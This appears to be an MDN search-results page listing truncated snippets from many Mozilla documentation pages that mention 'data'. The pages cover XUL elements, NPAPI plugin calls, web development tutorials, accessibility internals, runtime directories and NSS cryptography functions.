...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related elements radiogroup, checkbox interfaces nsiaccessibleprovider, nsidomxulselectcontrolitemelement, nsidomxullabeledcontrolelement ...
radiogroup - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items.
richlistbox - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...ods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata additemtoselection( item ) return type: no return value selects the given item, without deselecting any other items that are already selected.
richlistitem - Archive of obsolete content
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata related interfaces nsiaccessibleprovider, nsidomxulselectcontrolitemelement ...
scale - Archive of obsolete content
ArchiveMozillaXULscale
value type: string the string attribute allows you to associate a data value with an element.
...be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and future-proof); 3) use setuserdata() (future-proof and clean, but not easily serializable).
...erited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenod...
...ens(), setattributens(), setuserdata decrease() return type: no return value decreases the value of the scale or number box by the increment.
template - Archive of obsolete content
elements are constructed from a datasource.
... inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width ...
... properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, tooltip, tooltiptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(), getelementsbytagnamens(...
...), getfeature, getuserdata, hasattribute(), hasattributens(), hasattributes(), haschildnodes(), insertbefore(), isdefaultnamespace(), isequalnode, issamenode, issupported(), lookupnamespaceuri, lookupprefix, normalize(), queryselector(), queryselectorall(), removeattribute(), removeattributenode(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata ...
NPN_GetURLNotify - Archive of obsolete content
syntax #include <npapi.h> nperror npn_geturlnotify(npp instance, const char* url, const char* target, void* notifydata); parameters the function has the following parameters: instance pointer to the current plug-in instance.
... notifydata plug-in-private value for associating the request with the subsequent npp_urlnotify() call, which passes this value (see description below).
... description npn_geturlnotify() works just like npn_geturl(), with one exception: npn_geturlnotify() notifies the plug-in instance upon successful or unsuccessful completion of the request by calling the plug-in's npp_urlnotify() function and passing it the notifydata value.
... warning: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), npn_geturlnotify() does not notify the plug-in if notifydata is null.
NPN NewStream - Archive of obsolete content
summary requests the creation of a new data stream produced by the plug-in and consumed by the browser.
... description npn_newstream creates a new stream of data produced by the plug-in and consumed by the browser.
...the plug-in can use this object in subsequent calls to npn_write to write data into the stream.
... when the plug-in has written all of its data into the stream, npn_destroystream terminates the stream and deallocates the npstream object.
NPN_PluginThreadAsyncCall - Archive of obsolete content
syntax #include <npapi.h> void npn_pluginthreadasynccall(npp plugin, void (*func)(void *), void *userdata); parameters the function has the following parameters: plugin pointer to the current plug-in instance.
... userdata pointer to the data to pass to the function func once called.
... description causes asynchronous execution of the specified function pointer on the "plug-in thread", passing in the specified user data pointer when it is called.
...in particular, the user must ensure that the function pointer remains callable and the user data is not deallocated until the browser executes the call.
NPPrintCallbackStruct - Archive of obsolete content
syntax typedef struct { int32 type; file* fp; } npprintcallbackstruct; fields the data structure has the following fields: type always contains np_print.
... fp pointer to the file to which the plug-in should write its postscript data.
...the npprintcallbackstruct structure contains the file pointer to which the plug-in should write its postscript data.
...when the plug-in is done, it should leave the file open, so the browser can continue to write additional postscript data to the file.
The First Install Problem - Archive of obsolete content
string values take the form stringvalue=valuedata, and subkeys contain their own string values and value data.
...for example, in our case, a prospective invocation might look like: <object classid="@mycompany.com/myapplication,version=5.01" data="myfile.typ" codebase="http://myurl.com/myplugin/myplugin.xpi" type="application/x-myapp"></object> the use of both "type" and "classid" attributes here offers the following user benefit: if there is another mimetype handler for application/x-myapp, only myapplication gets invoked.
... if the "data" file myfile.typ doesn't contain enough resource information to load the correct mimetype handling component (dll), specifying "type" is an additional mechanism.
...the recommended <object> attribute to set is still either "type" or "data".) advantage: we now no longer have ambiguity in determining which plugin handles what mimetype, because now the plugin has been invoked using the classid attribute of the object tag, which is in compliance with the html 4.01 specification for use of the object tag.
Browser Feature Detection - Archive of obsolete content
e true true document.implementation true true true document.documentelement true true true document.createelement() true true true document.createdocumentfragment() true true true document.createtextnode() true true true document.createcomment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.createattribute() true true true document.createentityreference()obsolete since gecko 7 (method present but only returns null: bug 9850) false false document.getelementsbytagname() true true true dom core level 2 support ...
...e true true document.implementation true true true document.documentelement true true true document.createelement() true true true document.createdocumentfragment() true true true document.createtextnode() true true true document.createcomment() true true true document.createcdatasection() true false true document.createprocessinginstruction() true false true document.createattribute() true true true document.createentityreference()obsolete since gecko 7 true false false document.getelementsbytagname() true true true document.importnode() true false true document.cre...
...upport levels var _features = { 'domcore1': [ {name: 'doctype', 'supported': false}, {name: 'implementation', 'supported': false}, {name: 'documentelement', 'supported': false}, {name: 'createelement', 'supported': false}, {name: 'createdocumentfragment', 'supported': false}, {name: 'createtextnode', 'supported': false}, {name: 'createcomment', 'supported': false}, {name: 'createcdatasection', 'supported': false}, {name: 'createprocessinginstruction', 'supported': false}, {name: 'createattribute', 'supported': false}, {name: 'createentityreference', 'supported': false}, {name: 'getelementsbytagname', 'supported': false} ], 'domhtml': [ {name: 'documentelement', 'supported': false}, {name: 'createelement', 'supported': false}, {name: 'createdocumentfragment',...
...name', 'supported': false} ], 'domcore2': [ {name: 'doctype', 'supported': false}, {name: 'implementation', 'supported': false}, {name: 'documentelement', 'supported': false}, {name: 'createelement', 'supported': false}, {name: 'createdocumentfragment', 'supported': false}, {name: 'createtextnode', 'supported': false}, {name: 'createcomment', 'supported': false}, {name: 'createcdatasection', 'supported': false}, {name: 'createprocessinginstruction', 'supported': false}, {name: 'createattribute', 'supported': false}, {name: 'createentityreference', 'supported': false}, {name: 'getelementsbytagname', 'supported': false}, {name: 'importnode', 'supported': false}, {name: 'createelementns', 'supported': false}, {name: 'createattributens', 'supported': false}, {na...
JavaArray - Archive of obsolete content
in addition, you can create a javaarray with an arbitrary data type using the newinstance method of the array class: public static object newinstance(class componenttype, int length) throws negativearraysizeexception description the javaarray object is an instance of a java array that is created in or passed to javascript.
...for example: var javastring = new java.lang.string("hello world!"); var bytearray = javastring.getbytes(); bytearray[0] // returns 72 bytearray[1] // returns 101 any java data brought into javascript is converted to javascript data types.
...see the core javascript 1.5 guide for more information about data type conversions.
...he newinstance method in javascript 1.4, you can use a javaclass object as the argument for the newinstance method which creates the array, as shown in the following code: var dogs = java.lang.reflect.array.newinstance(java.lang.string, 5); in javascript 1.1, use a class object returned by java.lang.class.forname as the argument for the newinstance method, as shown in the following code: var datatype = java.lang.class.forname("java.lang.string"); var dogs = java.lang.reflect.array.newinstance(datatype, 5); ...
JavaObject - Archive of obsolete content
any java data brought into javascript is converted to javascript data types.
...see the core javascript 1.5 guide for more information about data type conversions.
... properties inherits public data members from the java class of which it is an instance as properties.
... it also inherits public data members from any superclass as properties.
Using XForms and PHP - Archive of obsolete content
returning xml data to either serve a page (with xforms in it) or to generate data used as instance data for xforms, the page needs to be served as xml, for example application/xhtml+xml.
... parsing submitted data depending on the submission type, you might get different data formats on the server side.
...how to actually parse and use the xml data depends heavily on what you want to achieve and on the php version.
... to get a dom document on php 4 i usually do something like this: $data = $http_raw_post_data; $dom = domxml_open_mem($data); $root = $dom->document_element(); ...
The Business Benefits of Web Standards - Archive of obsolete content
parse invalid data and render it slightly differently).
... using valid, standards-compliant markup ensures that data will still be re-usable for a long time, as specifications on how to parse the standard formats are well documented and here to stay.
...using xhtml will enable web authors to leverage tools from the xml world, such as xslt, to easily manipulate xml data.
... using xhtml is a way to enter a set of standards composed of xml-based technologies, such as xml, xslt (transforming data), svg (animated graphics), mathml (describing mathematic expressions)...
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
npp_getvalue implementation and possible scenario of scriptable object life cycle #include "nsitestplugin.h" nperror npp_new(npmimetype plugintype, npp instance, uint16 mode, int16 argc, char* argn[], char* argv[], npsaveddata* saved) { if(instance == null) return nperr_invalid_instance_error; // just prime instance->pdata with null for the purpose of this example // it will be assigned to the scriptable interface later to keep its // association with the specific plugin instance instance->pdata = null; return rv; } nperror npp_getvalue(npp instance, nppvariable variable, void *value) { ...
...for the purpose of this example to keep things simple // we just assign it to instance->pdata after we create it.
... nsitestplugin *scriptablepeer = (nsitestplugin *)instance->pdata; // see if this is the first time and we haven't created it yet if (!scriptablepeer) { nsitestplugin *scriptablepeer = new nsscriptablepeer(); if (scriptablepeer) ns_addref(scriptablepeer); // addref for ourself, // don't forget to release on // shutdown to trigger its destruction } // add reference for the caller requesting the object ns_addref(scriptablepeer); *(nsisupports **)value = scriptablepeer; } else if (variable == nppvpluginscriptableiid) { nsiid* ptr = (nsiid *)npn_memalloc(sizeof(nsiid)); *ptr = scriptableiid; ...
... *(nsiid **)value = ptr; } return rv; } nperror npp_destroy (npp instance, npsaveddata** save) { if(instance == null) return nperr_invalid_instance_error; // release the scriptable object ns_if_release(instance->pdata); } original document information author(s): arun k.
JSON - MDN Web Docs Glossary: Definitions of Web-related terms
javascript object notation (json) is a data-interchange format.
... json does not natively represent more complex data types like functions, regular expressions, dates, and so on.
... (date objects by default serialize to a string containing the date in iso format, so the information isn't completely lost.) if you need json to represent additional data types, transform values as they are serialized or before they are deserialized.
... much like xml, json has the ability to store hierarchical data unlike the more traditional csv format.
Type - MDN Web Docs Glossary: Definitions of Web-related terms
type is a characteristic of a value affecting what kind of data it can store, and the structure that the data will adhere to.
... for example, a boolean data type can hold only a true or false value at any given time, whereas a string has the ability to hold a string or a sequence of characters, a number can hold numerical values of any kind, and so on.
... a value's data type also affects the operations that are valid on that value.
...comparison between structured types is not always an easy assumption, as even if the previous data structure is the same, there could be inherited structures inside of the prototype chain.
MDN Web Docs Glossary: Definitions of Web-related terms
cors-safelisted request header cors-safelisted response header crawler crlf cross axis cross-site scripting crud cryptanalysis cryptographic hash function cryptography csp csrf css css object model (cssom) css pixel css preprocessor d data structure decryption delta denial of service descriptor (css) deserialization developer tools dhtml digest digital certificate distributed denial of service dmz dns doctype document directive document environment dom (document object model) domai...
...n domain name domain sharding dominator dos attack dtls (datagram transport layer security) dtmf (dual-tone multi-frequency signaling) dynamic programming language dynamic typing e ecma ecmascript effective connection type element empty element encapsulation encryption endianness engine entity entity header event exception expando f fallback alignment falsy favicon fetch directive fetch metadata request header firefox os firewall first contentful paint first cpu idle first input ...
... ligature local scope local variable locale localization long task loop lossless compression lossy compression ltr (left to right) m main axis main thread markup mathml media media (audio-visual presentation) media (css) metadata method microsoft edge microsoft internet explorer middleware mime mime type minification mitm mixin mobile first modem modern web apps modularity mozilla firefox mutable mvc n namespace nan nat native ...
... texel thread three js time to first byte time to interactive tld tofu transmission control protocol (tcp) transport layer security (tls) tree shaking trident truthy ttl turn type type coercion type conversion u udp (user datagram protocol) ui undefined unicode uri url urn usenet user agent utf-8 ux v validator value variable vendor prefix viewport visual viewport voip w w3c wai wcag web performance ...
Use HTML to solve common problems - Learn web development
LearnHTMLHowto
these articles help you tackle the less common use cases you may face: forms forms are a complex html structure made to send data from a webpage to a web server.
...here is where you should start: how to create a simple web form how to structure a web form tabular information some information, called tabular data, needs to be organized into tables with columns and rows.
... it's one of the most complex html structures, and mastering it is not easy: how to create a data table how to make html tables accessible data representation how to represent numeric and code values with html — see superscript and subscript, and representing computer code.
... how to use data attributes advanced text semantics how to take control of html line breaking how to mark changes (added and removed text) — see the <ins> and <del> elements.
Client-side web APIs - Learn web development
apis are programming features for manipulating different aspects of the browser and operating system the site is running on, or manipulating data from other web sites or services.
... fetching data from the server another very common task in modern websites and applications is retrieving individual data items from the server to update sections of a webpage without having to load an entirely new page.
...provide apis allowing developers to make use of their data (e.g.
... client-side storage modern web browsers feature a number of different technologies that allow you to store data related to web sites and retrieve it when necessary allowing you to persist data long term, save sites offline, and more.
Useful string methods - Learn web development
this can be useful for example if you want to normalize all user-entered data before storing it in a database.
... let's try entering the following lines to see what happens: let raddata = 'my name is mud'; raddata.tolowercase(); raddata.touppercase(); updating parts of a string you can replace one substring inside a string with another substring using the replace() method.
...the strings are data items that contain the three-letter station code, followed by some machine-readable data, followed by a semicolon, followed by the human-readable station name.
...next, we're going to look at the last major type of data we need to focus on in the short term — arrays.
Introducing JavaScript objects - Learn web development
you can even create your own objects to encapsulate related functions and variables into efficient packages and act as handy data containers.
... working with json data javascript object notation (json) is a standard text-based format for representing structured data based on javascript object syntax, which is commonly used for representing and transmitting data on web sites (i.e.
... sending some data from the server to the client, so it can be displayed on a web page).
... you'll come across it quite often, so in this article, we give you all you need to work with json using javascript, including parsing the json so you can access data items within it and writing your own json.
Getting started with Vue - Learn web development
vue components are written as a combination of javascript objects that manage the app's data and an html-based template syntax that maps to the underlying dom structure.
...with this method, you can use a lot of the core features of vue, such as the attributes, custom components, and data-management.
...these components let you break a large application into discrete building blocks that can be created and managed separately, and transfer data between each other as required.
... in the next article we'll build our first custom component, and look at some important concepts such as passing props into it and saving its data state.
Strategies for carrying out testing - Learn web development
using analytics a much more accurate source of data, if you can get it, comes from an analytics app like google analytics.
...your site should now be ready to start reporting analytics data.
... studying analytics data now you should be able to go back to the analytics web homepage, and start looking at the data you've collected about your site (you need to leave a little bit of time for some data to actually be collected, of course.) by default, you should see the reporting tab, like so: there is a huge amount of data you could look at using google analytics — customized reports in different categories, etc.
... you should also be encouraged to look at the different options on the left hand side, and see what kinds of data you can find out.
Mozilla accessibility architecture
no matter how the assistive technology client requests the data, the accessible for a given node is only created once.
... events: we must ensure that the accessible for an event is not released before the accessible client has a chance to review its data.
...finally, because the msaa client gets the same accessible for the event and for tree traversal each time, it can do comparisons with its own internal data model.
... for example, this allows the msaa client to invalidate parts of its own cache or data model based on dom mutation events.
Gecko info for Windows accessibility vendors
data is therefore stored and retrieved dynamically much faster.
... because screen readers usually cache an entire document's worth of data, it can be extremely useful for them to receive a child id that helps them correlate back to a known object.
...there are currently two techniques for parsing tables: 1) use acclocation() to get the coordinates for each cell and feed that into an algorithm that builds up your own table data structure, or 2) use isimpledomnode and parse the table see below for the complete list of roles and notes about what we support intentional differences with internet explorer for the most part, where we support an msaa feature, we have tried to duplicate internet explorer's use of it.
... sets state_focusable in data grids and spreadsheets clears state_readonly in spreadsheets.
Adding a new event
for copying the members, this should use assignfooeventdata() with true for acopytargets.
... and also, mflags should be just copied since assignfooeventdata() doesn't copy mflags.
... void assignfooeventdata(const internalfooevent* aevent, bool acopytargets) this method should copy members from aevent.
... you need to modify test_assign_event_data.html which tests if each attribute of dom event is copied by assignfooeventdata() properly.
Adding a new CSS property
getting started first, you'll want to add an appropriate test entry to property_database.js.
... the data structures in gecko that store the computed value must correspond to this concept, or inheritance won't work as described by the specification.
... you then need to add code to nsrulenode::compute*data (where the * is for the style struct) to transform a specified value of the property into a computed value of the property.
... also, it's very important not to touch the computed style data at all when there's no specified data provided (ecssunit_null); touching the computed style data in this case would break partial computation based on a start struct, which is when we computed style data on the basis of computed data we've already computed from a subset of the style rules that we're currently computing from.
Runtime Directories
default application installation and user profile directories firefox os application directory user profile directory temporary directory windows vista/7 c:\program files\mozilla firefox\ c:\users\<username>\appdata\roaming\mozilla\firefox\ (or %appdata%\mozilla\firefox\) c:\users\<username>\appdata\local\mozilla\firefox\ (or %localappdata%\mozilla\firefox) and c:\users\<username>\appdata\local\virtualstore\program files\mozilla firefox\ windows 2000/xp c:\program files\mozilla firefox\ c:\documents and settings\<username>\application data\mozilla\firefox\ (or %appdata%\mozilla\firefox\) c:\documents and settings\<username>\local settings\application data\mozilla\firefox\ os x /applications/firefox.app ...
... ~/.mozilla/firefox/xxxxxxxx.default/ n/d thunderbird os application directory user profile directory temporary directory windows vista/7 c:\program files\mozilla thunderbird\ c:\users\<username>\appdata\roaming\thunderbird\ (or %appdata%\thunderbird\) c:\users\<username>\appdata\local\thunderbird\ (or %localappdata%\thunderbird\) and c:\users\<username>\appdata\local\virtualstore\program files\mozilla thunderbird\ windows 2000/xp c:\program files\mozilla thunderbird\ c:\documents and settings\<username>\application data\thunderbird\ (or %appdata%\thunderbird\) c:\document...
...s and settings\<username>\local settings\application data\thunderbird\ os x /applications/thunderbird.app ~/library/thunderbird/profiles/xxxxxxxx.default/ ~/library/caches/thunderbird/profiles/xxxxxxxx.default/ linux ????
... ~/.thunderbird/xxxxxxxx.default/ (or ~/.mozilla-thunderbird/xxxxxxxx.default/ on debian/ubuntu) n/d see also https://support.mozilla.org/kb/profiles-where-firefox-stores-user-data#w_how-do-i-find-my-profile https://support.mozilla.org/kb/profiles-tb#w_where-is-my-profile-stored http://kb.mozillazine.org/profile_folder ...
Extending a Protocol
and we generally want the parent to let a child know when some work is done - and send some confirmation or result data back to the child.
...in this tutorial, we are just going to cover a child talking to a parent, and the parent responding with some data.
... include protocol pwindowglobal; namespace mozilla { namespace dom { async refcounted protocol pecho { manager pwindowglobal; parent: async echo(nscstring data) returns (nscstring aresult); async __delete__(); }; } // namespace dom } // namespace mozilla now, edit "./dom/ipc/moz.build" file and add 'pecho.ipdl', to the ipdl_sources array.
... async echo(nscstring data) returns (nscstring aresult); - the "returns" here translates to a mozpromise, with a resolver that will settle a promise with the expected value.
DeferredTask.jsm
to use it, you first need to import the code module into your javascript scope: components.utils.import("resource://gre/modules/deferredtask.jsm"); use this, for instance, if you write data to a file and you expect that you may have to rewrite data very soon afterwards.
... with deferredtask, the task is delayed by a few milliseconds and, should a new change to the data occur during this period, only the final version of the data is actually written; a further grace delay is added to take into account other changes.
... a common use case occurs when a data structure should be saved into a file every time the data changes, using asynchronous calls, and multiple changes to the data may happen within a short time: let savedeferredtask = new deferredtask(function* () { yield os.file.writeatomic(...); // any uncaught exception will be reported.
... for example, during shutdown, you may want to ensure that any pending write is processed, using the latest version of the data if the timer is armed: asyncshutdown.profilebeforechange.addblocker( "example service: shutting down", () => savedeferredtask.finalize() ); instead, if you are going to delete the saved data from disk anyways, you might as well prevent any pending write from starting, while still ensuring that any write that is currently in progress terminates, so that the file is not in use any more: sav...
DownloadTarget
partfilepath read only string the path of the ".part" file containing the data downloaded so far, or null to disable the use of a ".part" file to keep partially downloaded data.
... it is possible for this property to have a non-zero value even if the target file no longer exists, if the value is available in download metadata.
... if that metadata is no longer available and the file has been deleted, then this value is zero.
... for single-file downloads, this property's value will always match the actual size of the file on disk, while the download.totalbytes property, when available, may indicate the size of the data as encoded for transfer instead.
JavaScript OS.Constants
winappdatadir the path to the user's roaming application data directory.
... winlocalappdatadir the path to the user's local application data directory.
... eoverflow (not always available under windows) value too large to be stored in datatype.
... o_nonblock do not block on open or for data to become available.
Gecko Profiler FAQ
you need deterministic profiles that can be compared meaningfully, you need to gather enough data / samples, and you need a way to compare profiles.
... to increase determinism, you really want an automated way of gathering the data.
... and you’ll want to make sure the profiles only contain data for the time range you’re interested in.
... to increase the amount of data, you should run your automated gathering procedure many times, and then combine multiple profiles into one.
PR_Writev
writes data to a socket from multiple buffers.
... description the thread calling pr_writev blocks until all the data is written or the write operation fails.
...note that if pr_writev returns -1, part of the data may have been written before an error occurred.
... if the timeout parameter is not pr_interval_no_timeout and all the data cannot be written in the specified interval, pr_writev returns -1 with the error code pr_io_timeout_error.
Threads
after a thread has been created, you can get and set its priority with these functions: pr_getthreadpriority pr_setthreadpriority controlling per-thread private data you can use these functions to associate private data with each of the threads in a process: pr_newthreadprivateindex allocates a unique index.
... if the call is successful, every thread in the same process is capable of associating private data with the new index.
... pr_setthreadprivate associates private thread data with an index.
... pr_getthreadprivate retrieves data associated with an index.
CERT_FindCertByDERCert
find a certificate in the database that matches a der-encoded certificate.
... syntax #include <cert.h> certcertificate *cert_findcertbydercert( certcertdbhandle *handle, secitem *dercert ); parameters handle in pointer to a certcertdbhandle representing the certificate database to look in dercert in pointer to an secitem whose type must be sidercertbuffer and whose data contains a der-encoded certificate description this function looks in the ?nsscryptocontext?
...a match is found when the issuer and serial number of the der-encoded certificate are found on a certificate in the certificate database.
... returns a pointer to a certcertificate representing the certificate in the database that matched the dercert, or null if none was found.
CERT_FindCertByIssuerAndSN
find a certificate in the database with the given issuer and serial number.
... syntax #include <cert.h> certcertificate *cert_findcertbyissuerandsn ( certcertdbhandle *handle, certissuerandsn *issuerandsn ); parameters handle in pointer to a certcertdbhandle representing the certificate database to look in issuerandsn in pointer to a certissuerandsn that must be properly formed to contain the issuer name and the serial number (see [example]) description this function creates a certificate key using the issuerandsn and it then uses the key to find the matching certificate in the database.
... returns a pointer to a certcertificate representing the certificate in the database that matched the issuer and serial number, or null if none was found.
... example certissuerandsn issuersn; issuersn.derissuer.data = caname->data; issuersn.derissuer.len = caname->len; issuersn.serialnumber.data = authoritykeyid->authcertserialnumber.data; issuersn.serialnumber.len = authoritykeyid->authcertserialnumber.len; issuercert = cert_findcertbyissuerandsn(cert->dbhandle, &issuersn); if ( issuercert == null ) { port_seterror (sec_error_unknown_issuer); } see also occurrences of cert_findcertbyissuerandsn in the current nss source code (generated by lxr).
Cryptography functions
function name/documentation source code nss versions pk11_algtagtomechanism mxr 3.2 and later pk11_authenticate mxr 3.2 and later pk11_blockdata mxr 3.2 and later pk11_changepw mxr 3.2 and later pk11_checkuserpassword mxr 3.2 and later pk11_cipherop mxr 3.2 and later pk11_clonecontext mxr 3.2 and later pk11_configurepkcs11 mxr 3.2 and later pk11_convertsessionprivkeytotoken...
..._getslotid mxr 3.2 and later pk11_getslotinfo mxr 3.4 and later pk11_getslotname mxr 3.2 and later pk11_getslotseries mxr 3.2 and later pk11_getsymkeynickname mxr 3.4 and later pk11_getsymkeytype mxr 3.9 and later pk11_getsymkeyuserdata mxr 3.11 and later pk11_gettokeninfo mxr 3.2 and later pk11_gettokenname mxr 3.2 and later pk11_getwindow mxr 3.2 and later pk11_getwrapkey mxr 3.2 and later pk11_hashbuf mxr 3.2 and later pk11_hasrootcerts mxr 3.4 and ...
... 3.2 and later pk11_setpasswordfunc mxr 3.2 and later pk11_setprivatekeynickname mxr 3.4 and later pk11_setpublickeynickname mxr 3.4 and later pk11_setslotpwvalues mxr 3.2 and later pk11_setsymkeynickname mxr 3.4 and later pk11_setsymkeyuserdata mxr 3.11 and later pk11_setwrapkey mxr 3.2 and later pk11_sign mxr 3.2 and later pk11_signaturelen mxr 3.2 and later pk11_symkeyfromhandle mxr 3.2 and later pk11_tokenexists mxr 3.2 and later pk11_tokenkeygen mxr 3.6 an...
..._wrapsymkey mxr 3.2 and later pk11_writerawattribute mxr 3.12 and later pk11sdr_encrypt mxr 3.2 and later pk11sdr_decrypt mxr 3.2 and later sec_deletepermcertificate mxr 3.2 and later sec_deletepermcrl mxr 3.2 and later sec_dersigndata mxr 3.2 and later sec_destroycrl mxr 3.2 and later sec_findcrlbydercert mxr 3.2 and later sec_findcrlbyname mxr 3.2 and later sec_lookupcrls mxr 3.2 and later sec_newcrl mxr 3.2 and later sec_quickderdecodeitem mxr 3.6 ...
JSS Provider Notes
dsaprivatekey getx() is not supported because nss does not support extracting data from private keys.
...note that a public key's data can be accessed directly from the key.
... messagedigest supported algorithms md5 md2 sha-1 (sha1, sha ) rsaprivatekey notes getmodulus() is not supported because nss does not support extracting data from private keys.
... getprivateexponent() is not supported because nss does not support extracting data from private keys.
Mozilla-JSS JCA Provider notes
dsaprivatekey getx() is not supported because nss does not support extracting data from private keys.
...note that a public key's data can be accessed directly from the key.
... messagedigest supported algorithms md5 md2 sha-1 (sha1, sha) rsaprivatekey notes getmodulus() is not supported because nss does not support extracting data from private keys.
... getprivateexponent() is not supported because nss does not support extracting data from private keys.
NSS Sample Code sample6
nss sample code 6: persistent symmetric keys in nss database /* example code to illustrate generation of a secret symmetric key ring * that persists in the nss database.
... * to decrypt, you need the ciphertext and the id of the key that was used * to encrypt * * before running this example, create the nss database * certutil -n -d .
...this example happens to use an * integer */ void genkey(int id); /* this callback is responsible for returning the password to the nss * key database.
... */ if (slot == null) { fprintf(stderr, "unable to find security device (err %d)\n", pr_geterror()); return; } keyid[0] = id; keyiditem.type = sibuffer; keyiditem.data = (void *)keyid; keyiditem.len = sizeof(keyid[0]); /* note: keysize must be 0 for fixed key-length algorithms like des.
FC_DecryptUpdate
pencryptedpart [in] pointer to the next block of data to be decrypted.
... usencryptedpartlen [in] length of data block in bytes.
...puspartlen [in,out] pointer the location where the number of bytes of recovered data is to be stored.
